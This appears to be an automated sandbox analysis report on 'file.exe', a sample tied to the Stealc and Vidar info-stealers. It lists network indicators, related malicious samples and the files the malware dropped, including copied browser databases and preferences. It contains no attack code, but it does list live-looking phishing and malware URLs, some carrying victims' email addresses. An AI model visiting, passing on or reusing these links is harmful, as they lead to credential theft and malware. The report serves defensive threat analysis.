Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.163, 216.58.206.78, 108.177.15.84, 34.104.35.123, 142.250.181.227, 199.232.210.172, 172.217.23.106, 216.58.206.42, 142.250.184.234, 142.250.185.74, 216.58.206.74, 216.58.212.170, 142.250.185.138, 142.250.185.234, 142.250.185.106, 142.250.185.202, 142.250.186.74, 142.250.186.138, 142.250.185.170, 142.250.186.42, 142.250.184.202, 142.250.181.234, 192.229.221.95, 142.250.186.106, 172.217.16.138, 172.217.16.202, 172.217.18.10, 142.250.186.170, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.185.110, 13.107.6.158, 2.19.126.145, 2.19.126.152, 172.205.25.163, 88.221.110.179, 88.221.110.195, 2.23.209.130, 2.23.209.189, 2.23.209.193, 2.23.209.185, 2.23.209.133, 2.23.209.182, 2.23.209.179, 2.23.209.177, 2.23.209.187, 2.23.209.140, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.59, 2.23.209.7, 2.23.209.6, 2.23.209.55, 2.23.209.16, 2.23.209.3, 2.23.209.54, 2.23.209.8, 2.23.209.15, 2.23.209.150, 2.23.209.149, 2.23.209.176, 199.232.214.172, 14
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, prod-agic-ne-9.northeurope.cloudapp.azure.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, prod-agic-eu2-2.eastus2.cloudapp.azure.com, www.bing.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
18:11:36	API Interceptor	170x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.125.209.212	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
162.159.61.3	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse
23.218.232.186	file.exe	Get hash	malicious	Stealc, Vidar	Browse
23.218.232.186	setup.msi	Get hash	malicious	Unknown	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	SecuriteInfo.com.Win32.RATX-gen.1803.21030.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://pub-6838e3dd185d4df89d3bb3eabe6469a4.r2.dev/index.html#	Get hash	malicious	Unknown	Browse	13.107.246.45
	https:/click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#steven.davis@tu.edu	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://jksvb.jnkpavers.com/?tZbf66=Tyw6/shhfkanxgsdff/&c=E,1,NSDuZCxGQc6fw5XDGugSpFh6vhsurKgNKuRtQYEvQblaeko7ktmOqkToectUm_5S_qV7IGwrOynGYnQ5TFSCJymAV2tc5TeuFegn96UyDZPOEKOyHYw,&typo=1	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	https://www.canva.com/design/DAGVD7_HMvQ/PFkDB3TDx6Ru4nNALhSqqQ/view?utm_content=DAGVD7_HMvQ&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.154.84.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.32.138
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse	104.47.64.28
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	150.171.27.10
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse	104.47.64.28
	https://irs-ci.secureemailportal.com/s/e?m=ABDvX2xiE1DvdsTP333wt4Qp&c=ABDsD05ZNJ23bCjfjm6gXjJS&em=publicrecords%40marionfl.org	Get hash	malicious	Unknown	Browse	13.107.42.14
	Reminders for Msp-partner_ Server Alert.eml	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.123.243.94
	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	Unknown	Browse	52.108.79.26
MICROSOFT-CORP-MSN-AS-BLOCKUS	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.32.138
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse	104.47.64.28
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	150.171.27.10
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse	104.47.64.28
	https://irs-ci.secureemailportal.com/s/e?m=ABDvX2xiE1DvdsTP333wt4Qp&c=ABDsD05ZNJ23bCjfjm6gXjJS&em=publicrecords%40marionfl.org	Get hash	malicious	Unknown	Browse	13.107.42.14
	Reminders for Msp-partner_ Server Alert.eml	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.123.243.94
	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	Unknown	Browse	52.108.79.26
RAYA-ASEG	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.218.232.182
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	23.218.232.185
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.218.232.154
	SuNMTBkfPo.elf	Get hash	malicious	Unknown	Browse	41.68.96.162
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.218.232.154
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.218.232.186
	x86.elf	Get hash	malicious	Mirai	Browse	197.134.36.231
	belks.ppc.elf	Get hash	malicious	Mirai	Browse	197.132.217.155
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.218.232.170
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.218.232.139
AKAMAI-ASN1EU	V6QED2Q1WBYVOPE	Get hash	malicious	Unknown	Browse	23.199.49.152
	https://irs-ci.secureemailportal.com/s/e?m=ABDvX2xiE1DvdsTP333wt4Qp&c=ABDsD05ZNJ23bCjfjm6gXjJS&em=publicrecords%40marionfl.org	Get hash	malicious	Unknown	Browse	88.221.110.136
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.171
	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	Unknown	Browse	2.16.241.17
	https://www.mediafire.com/file/oyfycncwen0a3ue/DSP_Plan_Set.zip/file	Get hash	malicious	Unknown	Browse	88.221.110.227
	https://cruparcellaire-my.sharepoint.com/:u:/g/personal/dani_grandrcu_com/EffQlMxf6g9Hiljl1DzmuTcB4-lo0t9ejs2hIBwCnQfe1g?e=TtenDj	Get hash	malicious	Unknown	Browse	2.16.168.12
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.146
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.218
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.215
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	2.16.168.13

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://cosiosos.com.de/7i2ko/	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	23.1.237.91
	https://token.onelogin.com-token-auth.com/Xa0Y1MmVibVhmY0E5dnlabzhVK2w2MVo4bXZUM3RzTFBZU1FSUEYxRHlzb29tODRTUDQ4alBDR3Y1cWUvN1JvVzhtWGVkaHFaSG0rOVpUTVV1VjY2a3MvZDB6TktwTHhsRk9xdzQwQjV6YjIvcnA5MjFsaFJEamtNdXI5UXQ1Qm9lK0ZsZFd0TXI0R2JWWlVYeFFXa2pBaXZOKzR2QXRkUTd3dlBLNzUrQ1RweERVMmQ5ZHQwdjlKZ2dlS2tEVUF5UEE9PS0tdFFWWndQdklZQXNodTY1US0tUXAyU1llVHhDaXRTRjU1OVNWMXFNdz09?cid=2262276963	Get hash	malicious	KnowBe4	Browse	23.1.237.91
	Review_&_Aprove_Your_Next_Payroll84633.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://joseordenes.com/n/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9TUZCc01WYz0mdWlkPVVTRVIyODEwMjAyNFUxOTEwMjgxMA==N0123N%5BEMAIL%5D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	23.1.237.91
	Biocon-In-Service Agreement.pdf	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	23.1.237.91
	https://draxcc.com/	Get hash	malicious	Unknown	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	http://hprus.conegutsud.com.pe/4zgrHK17910PyfC1508dysnmxbczx27005OLWUIBMTRFCEVBH25578NWDJ17331m12#2mzdvgfkgua042eh8kky7aanhr5dggelvb8fjk5yz6jna8o8e5	Get hash	malicious	Phisher	Browse	52.149.20.212 20.190.159.4 184.28.90.27 13.107.246.45
	SecuriteInfo.com.Win32.RATX-gen.1803.21030.exe	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.159.4 184.28.90.27 13.107.246.45
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 20.190.159.4 184.28.90.27 13.107.246.45
	https://pub-6838e3dd185d4df89d3bb3eabe6469a4.r2.dev/index.html#	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.159.4 184.28.90.27 13.107.246.45
	https:/click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#steven.davis@tu.edu	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 20.190.159.4 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.149.20.212 20.190.159.4 184.28.90.27 13.107.246.45
	https://jksvb.jnkpavers.com/?tZbf66=Tyw6/shhfkanxgsdff/&c=E,1,NSDuZCxGQc6fw5XDGugSpFh6vhsurKgNKuRtQYEvQblaeko7ktmOqkToectUm_5S_qV7IGwrOynGYnQ5TFSCJymAV2tc5TeuFegn96UyDZPOEKOyHYw,&typo=1	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.159.4 184.28.90.27 13.107.246.45
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	52.149.20.212 20.190.159.4 184.28.90.27 13.107.246.45
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 20.190.159.4 184.28.90.27 13.107.246.45
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.159.4 184.28.90.27 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	b4s45TboUL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	tdnPqG0jmS.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKEGIJEHJDGDHJKJKKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BAKJKFHCAEGDHIDGDHDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGHIIJDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2646876088033638
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMhSAELyKOMq+8yC8F/YfU5m+OlTLVumo:Bq+n0Jh9ELyKOMq+8y9/Owj
MD5:	EEB93AF0DF1A7419C98827BCC480802C
SHA1:	D8DA99A7EED4AE0B9D7D61D8F4F842F21DAD8AB0
SHA-256:	EC2550CC015167CE11D4B4AB25D9AF016FD362B6D22EB508C3FF6A088B94363E
SHA-512:	F024F7B81A0B9508CAD5ED30F215811998C9ECCDA44A5BAECBFC8FBEC43B849EA67621B21A6AE5384B14CC796CE316F649E6B2806F08E65DFB83DDC604704CBC
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECBGHCGCBKFIECBFHIDGHDGIEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDAAECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHDHCAAKECFIDHIEBAKFCGCFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECBGIDAEHCGDGCBKEBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

